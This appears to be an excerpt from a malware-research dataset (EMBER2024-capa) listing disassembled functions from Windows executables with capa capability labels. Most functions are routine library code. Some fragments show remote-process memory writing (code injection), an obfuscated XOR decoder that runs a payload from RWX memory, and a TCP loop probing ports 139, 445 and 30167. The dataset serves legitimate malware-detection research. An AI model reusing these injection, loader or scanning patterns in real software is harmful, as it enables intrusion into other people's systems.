joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5f9248
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov ebx, dword [ebp + 0xc]
test ebx, ebx
js 0x5f9262
shr ebx, 2
mov esi, dword [ecx + ebx*4]
dec ebx
push esi
jns 0x5f925b
mov ecx, esp
mov dword [ebp - 4], ecx
mov esi, edx
mov edi, dword [ebp + 0xc]
push eax
push 0
push 0x38
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
lea eax, [ebp - 0xc]
push eax
push 0x40
lea eax, [edi + 1]
push eax
mov eax, esi
add eax, dword [ebp + 8]
push eax
push ebx
call sub.KERNEL32.DLL_VirtualProtectEx
mov eax, dword [0x698d08]
mov eax, dword [eax]
call fcn.005cdc70
lea eax, [ebp - 8]
push eax
lea eax, [edi + 1]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, esi
add eax, dword [ebp + 8]
push eax
push ebx
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
inc edi
push edi
add esi, dword [ebp + 8]
push esi
push ebx
call sub.KERNEL32.DLL_VirtualProtectEx
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret 8

Function at 0x61f66c
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xffffffdc
mov ebx, eax
mov eax, ebx
call fcn.0040a65c
mov dword [esp], 0xf
push esp
lea eax, [esp + 8]
push eax
call sub.KERNEL32.DLL_GetComputerNameW
test eax, eax
je 0x61f69d
lea edx, [esp + 4]
mov eax, ebx
mov ecx, dword [esp]
call fcn.0040a7e4
add esp, 0x24
pop ebx
ret
Function at 0x661474
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x244], edx
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x248], edx
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040a740
xor eax, eax
push ebp
push 0x6615f5
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
xor edx, edx
mov eax, 2
call fcn.005f665c
mov esi, eax
mov dword [ebp - 0x230], 0x22c
lea edx, [ebp - 0x230]
mov eax, esi
call fcn.005f667c
mov ebx, eax
jmp 0x6615c1
lea eax, [ebp - 0x23c]
lea edx, [ebp - 0x20c]
mov ecx, 0x104
call fcn.0040b3b8
mov eax, dword [ebp - 0x23c]
lea edx, [ebp - 0x238]
call fcn.00424e28
mov eax, dword [ebp - 0x238]
lea edx, [ebp - 0x234]
call fcn.00423608
mov eax, dword [ebp - 0x234]
push eax
lea edx, [ebp - 0x240]
mov eax, dword [ebp - 4]
call fcn.00423608
mov edx, dword [ebp - 0x240]
pop eax
call fcn.0040b6a0
je 0x661598
lea eax, [ebp - 0x248]
lea edx, [ebp - 0x20c]
mov ecx, 0x104
call fcn.0040b3b8
mov eax, dword [ebp - 0x248]
lea edx, [ebp - 0x244]
call fcn.00423608
mov eax, dword [ebp - 0x244]
push eax
lea edx, [ebp - 0x24c]
mov eax, dword [ebp - 4]
call fcn.00423608
mov edx, dword [ebp - 0x24c]
pop eax
call fcn.0040b6a0
jne 0x6615b2
push 0
mov eax, dword [ebp - 0x228]
push eax
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_TerminateProcess
mov edi, eax
lea edx, [ebp - 0x230]
mov eax, esi
call fcn.005f669c
mov ebx, eax
test ebx, ebx
jne 0x6614f3
push esi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6615fc
lea eax, [ebp - 0x24c]
mov edx, 7
call fcn.0040a6bc
lea eax, [ebp - 4]
call fcn.0040a65c
ret

Function at 0x661608
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x661685
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.006616e0
lea eax, [ebp - 4]
mov edx, 0x66169c
call fcn.0040b510
mov eax, dword [ebp - 4]
mov dl, 1
call fcn.00424cb0
test al, al
je 0x66166a
lea eax, [ebp - 8]
call fcn.006616e0
lea eax, [ebp - 8]
mov edx, 0x6616c4
call fcn.0040b510
mov eax, dword [ebp - 8]
call fcn.0066170c
push 0
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.KERNEL32.DLL_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x66168c
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040a6bc
ret
Function at 0x66170c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040a740
xor eax, eax
push ebp
push 0x661794
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x22]
xor ecx, ecx
mov edx, 0x1e
call fcn.00407ccc
mov dword [ebp - 0x1e], 3
mov word [ebp - 0x12], 0x14
lea eax, [ebp - 0x28]
mov ecx, 0x6617b0
mov edx, dword [ebp - 4]
call fcn.0040b568
mov eax, dword [ebp - 0x28]
call fcn.0040b2fc
mov dword [ebp - 0x1a], eax
lea eax, [ebp - 0x22]
push eax
call sub.shell32.dll_SHFileOperationW
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x66179b
lea eax, [ebp - 0x28]
call fcn.0040a65c
lea eax, [ebp - 4]
call fcn.0040a65c
ret

Function at 0x430a342d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x430a343c
pop dword [ebp - 0x4c]
mov eax, 0x48caec4c
sub eax, 0x5c0b810
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x382f5
push 0
mov eax, 0x7f024382
add eax, 0xc407cd1e
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x15684861
sub ecx, 0x1567fe01
xor ebx, ebx
add ebx, eax
mov esi, 0x9529e797
add esi, 0xade0f669
add esi, dword [ebp - 0x4c]
mov edx, 0xf0a249d3
sub edx, 0xa6b38d1e
add dword [ebp - 0x14], ecx
mov edi, dword [esi]
sub dword [ebp - 0x14], edi
xor edi, edx
add dword [ebp - 0x24], 0x319554e8
mov dword [ebx], edi
mov dword [ebp - 8], 0x10d63d39
add ebx, 4
add esi, 4
loop 0x430a349d
add eax, 0xad54af16
sub eax, 0xad5392c3
mov ebx, eax
add eax, 5
mov ecx, 0xc383e5db
sub ecx, 0x8079e5db
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x430a67ba
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430aa9f0]
jne 0x430a67c4
repz ret
jmp fcn.430a7df9
Function at 0x40a23c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
call fcn.00403dcc
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40a2a5
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00404190
jne 0x40a274
lea eax, [ebx + 0x10]
call fcn.00403dcc
jmp 0x40a2ad
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00404190
jne 0x40a290
lea eax, [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00403e20
cmp dword [ebx + 0x10], 0
jne 0x40a2ad
lea eax, [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00403e20
jmp 0x40a2ad
lea eax, [ebx + 0x10]
call fcn.00403dcc
mov eax, ebx
call fcn.0040a08c
mov eax, dword [0x40b158]
inc dword [eax]
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a307
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a34a
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x75d7
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a38d
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
test edi, edi
je 0x40a3b7
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov edx, 0x40a3f0
call fcn.00404090
mov eax, ebx
call fcn.00409f64
mov ebp, eax
push 0x200
call sub.kernel32.dll_Sleep
jmp 0x40a251

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x40298c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x4029bb
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403b88
jmp 0x4029d9
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.004028b4
mov edi, eax
test ebx, ebx
je 0x4029d9
cmp dword [esi], 0
je 0x4029d9
dec ebx
jmp 0x4029c2
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402c90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402d28
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402d08
xor eax, eax
push ebp
push 0x402d01
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402d44
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402d08
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret
Function at 0x4052d0
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x40548c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405331
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x4054a8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4053a3
xor eax, eax
push ebp
push 0x40539c
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.00405128
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405385
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4054c8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4053a3
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405484
cmp byte [ebp - 0xd], 0
jne 0x4053e5
cmp byte [ebp - 0x12], 0
je 0x405484
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4053fe
dec ebx
cmp byte [ebx], 0x2e
je 0x40540d
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4053fd
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405484
inc ebx
cmp byte [ebp - 0x12], 0
je 0x40543a
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405484
cmp byte [ebp - 0xd], 0
je 0x405484
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405484
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408b74
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408bad
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403b88
jmp 0x408bb6
mov eax, ebx
mov edx, esi
call fcn.00403af4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x408bc0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408be1
mov al, byte [esp]
jmp 0x408be3
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4141b0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4141b6
ret

Function at 0x416568
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4165b9
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4165a0
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x416590
jmp 0x4165b9
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4165a1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x422274
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
cmp dword [0x44a77c], 0
sete dl
or al, dl
jne 0x4223b4
mov eax, dword [0x44a780]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x44a77c]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x422383
inc esi
xor edi, edi
mov edx, edi
mov eax, dword [0x44a77c]
call fcn.0040d9e4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x42237b
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x168], 0
je 0x42237b
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x4c]
test al, al
je 0x42237b
mov eax, dword [ebp - 0x14]
call fcn.0042a57c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42237b
push ebp
call fcn.00422230
pop ecx
test al, al
jne 0x42237b
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x90]
cmp eax, dword [ebp - 0x14]
jne 0x422337
mov eax, dword [ebp - 0x14]
call fcn.00428f08
dec eax
jle 0x42237b
mov byte [ebp - 1], 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov bx, 0xffc1
call fcn.00402ff4
cmp byte [ebp - 1], 0
je 0x42237b
push dword [ebp - 8]
push dword [ebp - 0xc]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42237b
mov edx, dword [ebp - 0x14]
mov eax, dword [0x44a780]
call fcn.00421a7c
inc edi
dec esi
jne 0x4222ca
mov eax, dword [0x44a780]
cmp dword [eax + 8], 0
jle 0x42239b
mov eax, dword [0x44a780]
call fcn.00421b0c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4223b4
push ebp
mov eax, dword [ebp - 0x18]
call fcn.00422098
pop ecx
test al, al
jne 0x4223b4
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427f14
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x427f45
je 0x427f9f
sub eax, 7
je 0x427f66
dec eax
je 0x427f90
sub eax, 0x17
je 0x428044
jmp 0x428082
add eax, 0xffffff00
sub eax, 9
jb 0x428030
add eax, 0xffffff09
sub eax, 0xb
jb 0x427ff8
jmp 0x428082
mov eax, ebx
call fcn.00439ba0
mov edi, eax
test edi, edi
je 0x4280e2
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xd4]
test al, al
je 0x4280eb
jmp 0x4280e2
test byte [ebx + 0x44], 0x20
jne 0x4280eb
jmp 0x4280e2
mov edx, esi
mov eax, ebx
call fcn.00425514
cmp dword [esi + 0xc], 0xffffffff
jne 0x4280eb
push 0
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.00406dd4
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.00424050
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.00427dec
test eax, eax
je 0x4280eb
mov dword [esi + 0xc], 1
jmp 0x4280eb
mov edx, esi
mov eax, ebx
call fcn.00427e80
test al, al
je 0x4280e2
cmp dword [esi + 0xc], 0
jne 0x4280eb
mov eax, dword [esi + 8]
push eax
mov eax, dword [esi + 4]
push eax
mov eax, dword [esi]
push eax
mov eax, ebx
call fcn.0042a57c
push eax
call sub.user32.dll_DefWindowProcA
jmp 0x4280eb
mov eax, ebx
call fcn.00424bb0
test al, al
jne 0x4280eb
jmp 0x4280e2
mov eax, ebx
call fcn.0042a57c
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x4280e2
cmp dword [0x4496f8], 0
je 0x4280e2
mov eax, dword [0x4496f8]
cmp ebx, dword [eax + 0x24]
jne 0x4280e2
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x4496f8]
call fcn.00425448
jmp 0x4280e2
mov eax, dword [0x44a744]
cmp byte [eax + 0x20], 0
je 0x4280e2
mov eax, dword [0x44a744]
cmp dword [eax + 0x1c], 0
je 0x4280e2
mov eax, dword [esi]
mov edx, dword [0x44a744]
cmp eax, dword [edx + 0x1c]
jne 0x4280e2
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.00439ae4
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb7
call fcn.00402ff4
jmp 0x4280eb
mov edx, esi
mov eax, ebx
call fcn.00425514
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4285ac
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x4285c8
cmp dword [esi + 4], 0
je 0x4285f5
test byte [ebx + 0x45], 1
jne 0x4285e7
mov eax, ebx
call fcn.004274e4
test eax, eax
jne 0x4285e7
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x428705
mov edx, esi
mov eax, ebx
call fcn.00428224
jmp 0x428705
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4286fe
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0042a57c
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00425448
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.004285ac
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0042a57c
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x428705
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x431ea4
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403aa0
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x431ef3
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00403cd0
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4398bc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x44a7dc
cmp dword [edi], 0
jne 0x439938
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x44a7d8]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x44988c
mov ecx, 2
call fcn.00402874
mov edx, 0x439894
lea eax, [esi + 5]
call fcn.004398b4
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.004398b4
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x43990d
mov dword [0x44a7d8], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x439a54
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x439aa4]
test si, 4
je 0x439a68
or bl, 1
test si, 8
je 0x439a72
or bl, 4
test si, 1
je 0x439a7c
or bl, 8
test si, 2
je 0x439a86
or bl, 0x10
test si, 0x10
je 0x439a90
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x439a9f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x439aa8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x439ae0]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x439ac1
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x439ad0
or bl, 4
test esi, 0x20000000
je 0x439adb
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret